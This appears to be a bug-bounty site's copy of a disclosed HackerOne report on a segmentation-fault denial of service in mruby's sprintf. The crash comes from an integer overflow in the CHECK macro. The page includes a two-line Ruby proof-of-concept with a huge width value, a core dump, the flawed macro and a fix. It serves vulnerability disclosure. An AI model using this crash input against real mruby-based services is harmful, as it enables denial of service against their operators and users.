Skip to content
DoS Disclosed report Intermediate

segafult in mruby's sprintf - mrb_str_format

The mruby sprintf gem crashes when a format string contains a very large width value, due to an integer overflow in the buffer size check. An attacker could cause a segmentation fault by supplying a hostile format string.

aerodudrizzt Follow

Originally disclosed on HackerOne

Bounty$100 Medium View original
  • Triaged in under an hour
  • Fixed in 14 days
  • Paid in 19 days
  • Disclosed after 20 days

The mruby sprintf gem (out of scope of mruby-engine) can be crashed when using a hostile "width" value in the format string.

Exploit Script

Ruby
s = "hello"
sprintf("abcdefghijklmnopqrstuvwxyz % 2147483640s", s)

Here is the core dump:

Core was generated by `ext/mruby_engine/mruby/build/host/bin/mirb'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xb768bd7a in ?? ()
(gdb) bt
#0  0xb768bd7a in ?? ()
#1  0x00000006 in ?? ()
#2  0x0813d000 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) info reg
eax            0x20202020	538976288
ecx            0x1fff62c7	536830663
edx            0x1	1
ebx            0x800	2048
esp            0xbfe037c4	0xbfe037c4
ebp            0x78	0x78
esi            0x81d7dc8	136150472
edi            0x8216000	136404992
eip            0xb768bd7a	0xb768bd7a
eflags         0x10202	[ IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Tech Details

The sprintf.c file in the mrb_str_format() function is responsible for the building of the formatted string. When using a "width" value for anything (string, char, number, etc...) there is an integer-overflow in the CHECK() macro that is responsible for assuring the string's capacity will be enough for the operation:

C++
#define CHECK(l) do { \
  while (blen + (l) >= bsiz) {\
    bsiz*=2;\
  }\
  mrb_str_resize(mrb, result, bsiz);\
  buf += RSTRING_PTR(result);\
} while(0)

Proposed Fix

Since bsiz is always bigger-or-equal to blen the right check should be:

C++
#define CHECK(l) do { \
  while ((l) >= bsiz - blen) {\
    bsiz*=2;\
  }\
  mrb_str_resize(mrb, result, bsiz);\
  buf += RSTRING_PTR(result);\
} while(0)

This way no arithmetic operation will done over the "width" parameter which can be up to MAX_INT in size, causing many possible integer-overflow.

The original report as published on HackerOne, by aerodudrizzt. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely an integer overflow in the CHECK macro's addition of the length and buffer size, which can wrap around and bypass the capacity check.

Impact

An attacker could crash the application by supplying a malicious format string, leading to a denial of service.

What the attacker needed

Ability to supply a format string to sprintf

The fix

The CHECK macro should be changed to compare the length against the remaining buffer space without adding it to the buffer length, avoiding integer overflow.

How it was found

  1. Create a string variable with some content.
  2. Call sprintf with a format string that includes a very large width value for a string conversion.
  3. Observe the segmentation fault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A program that formats text can be tricked into thinking it has enough space when it does not, because a very large number overflows the calculation. This leads to a crash, which an attacker can trigger by providing a specially crafted format string.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by aerodudrizzt

View all

10 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.